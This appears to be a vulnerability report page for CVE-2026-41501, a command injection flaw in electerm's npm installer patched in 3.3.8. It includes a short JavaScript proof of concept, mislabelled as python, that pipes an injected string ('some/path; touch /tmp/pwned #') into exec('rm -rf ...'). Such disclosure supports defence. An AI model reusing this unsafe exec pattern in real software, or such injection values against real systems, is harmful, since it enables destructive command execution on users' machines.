Security Vulnerability Report
中文
CVE-2026-41501 CVSS 9.8 CRITICAL

CVE-2026-41501

Published: 2026-05-08 04:16:18
Last Modified: 2026-05-08 19:18:19

Description

electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. Prior to version 3.3.8, a command injection vulnerability exists in github.com/elcterm/electerm/npm/install.js:130. The runLinux() function appends attacker-controlled remote version strings directly into an exec("rm -rf ...") command without validation. This issue has been patched in version 3.3.8.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:electerm_project:electerm:*:*:*:*:*:*:*:* - VULNERABLE
electerm < 3.3.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual Proof of Concept for CVE-2026-41501 // This simulates the vulnerable behavior in install.js const { exec } = require('child_process'); /** * Vulnerable function simulation * @param {string} remoteVersion - Attacker controlled input */ function vulnerableRunLinux(remoteVersion) { // The vulnerability: Direct concatenation of user input into exec const command = `rm -rf ${remoteVersion}`; console.log(`Executing command: ${command}`); exec(command, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } console.log(`Output: ${stdout}`); }); } // Exploit Scenario: // Attacker provides a malicious version string containing command injection payload. // Example payload: "; touch /tmp/pwned # const maliciousVersion = "some/path; touch /tmp/pwned #"; console.log("--- Simulating Attack ---"); vulnerableRunLinux(maliciousVersion); // Expected result: // The system will execute: rm -rf some/path; touch /tmp/pwned # // This creates a file named 'pwned' in /tmp, proving command execution.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41501", "sourceIdentifier": "[email protected]", "published": "2026-05-08T04:16:17.940", "lastModified": "2026-05-08T19:18:19.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. Prior to version 3.3.8, a command injection vulnerability exists in github.com/elcterm/electerm/npm/install.js:130. The runLinux() function appends attacker-controlled remote version strings directly into an exec(\"rm -rf ...\") command without validation. This issue has been patched in version 3.3.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:electerm_project:electerm:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.3.8", "matchCriteriaId": "0EBE0538-E839-40FE-A759-E08EABC6BFF6"}]}]}], "references": [{"url": "https://github.com/electerm/electerm/commit/59708b38c8a52f5db59d7d4eff98e31d573128ee", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/electerm/electerm/releases/tag/v3.3.8", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/electerm/electerm/security/advisories/GHSA-8x35-hph8-37hq", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}